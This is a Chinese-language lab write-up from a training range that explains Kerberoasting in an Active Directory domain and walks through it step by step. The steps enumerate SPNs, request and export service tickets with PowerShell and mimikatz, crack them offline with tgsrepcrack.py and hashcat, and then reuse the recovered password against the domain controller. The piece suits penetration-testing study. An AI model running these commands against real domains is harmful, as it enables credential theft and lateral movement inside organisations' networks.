文中主要讲解内网域环境,通过学习掌握域环境,更快知晓内网工作原理。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
Kerberoasting
原理:
域内用户去请求域内某个服务资源时,先会通过AS进行身份认证,通过后会返回一个用用户密码hash加密的TGT给用户,用户拿着TGT向TGS去请求,TGS会返回一个用对应服务账号的密码hash加密过的专门用于访问特定服务的服务票据回来,如果返回的票据是一个域账号来运行的,那么我们攻击者就可以利用这张票据中的hash来尝试枚举口令(因为TGS服务票据加密算法已知),模拟加密过程,从而获得明文口令。
漏洞复现:
使用setspn查询域内SPN:
setspn.exe -q */* #查询域内所有带有spn服务
setspn.exe -T redteam.club -q */* #查询指定域内所有带有spn服务
这里我们可以Users的是域用户,Computers的为机器账户
同样可以使用vbs或powershell脚本来进行检测:
cscript GetUserSPNs.vbs #检测spn
这里也可以看出域用户开启了一个mysql服务:
给mysql服务注册SPN:
setspn -s mysql/12server4.redteam.club:3306 test #最后就是注册的用户,如果是域管理员注册,同样可以拿到带有hash的TGS去枚举
方式一:用mimikatz脚本枚举:
使用命令,请求指定TGS,然后使用klist来进行查看票据:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mysql/12server4.redteam.club:3306"
这样我们就可以使用mimikatz导出票据:
kerberos::list /export #导出票据
然后就可以将这个票据使用脚本来进行枚举:
python3 tgsrepcrack.py wordlist.txt mssql.kirbi #前面是枚举的字典,后面是mysql的票据
方式二:使用hashcat穷举:
使用powershell命令将hashcat导出:
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
将文件中的这一段使用hashcat工具进行穷举:
hashcat -m 13100 hash.txt passwd.txt -o found.txt --force #前面是导出的hash,中间是字典,如果有匹配的就会将明文密码导出found.txt
这里就可以看出密码为:pass@123
我们就可以拿这个密码去尝试域控的,因为有的时候,密码是一样的;这文件前面是test,如果前面显示的administrator,那这就可能是域控密码。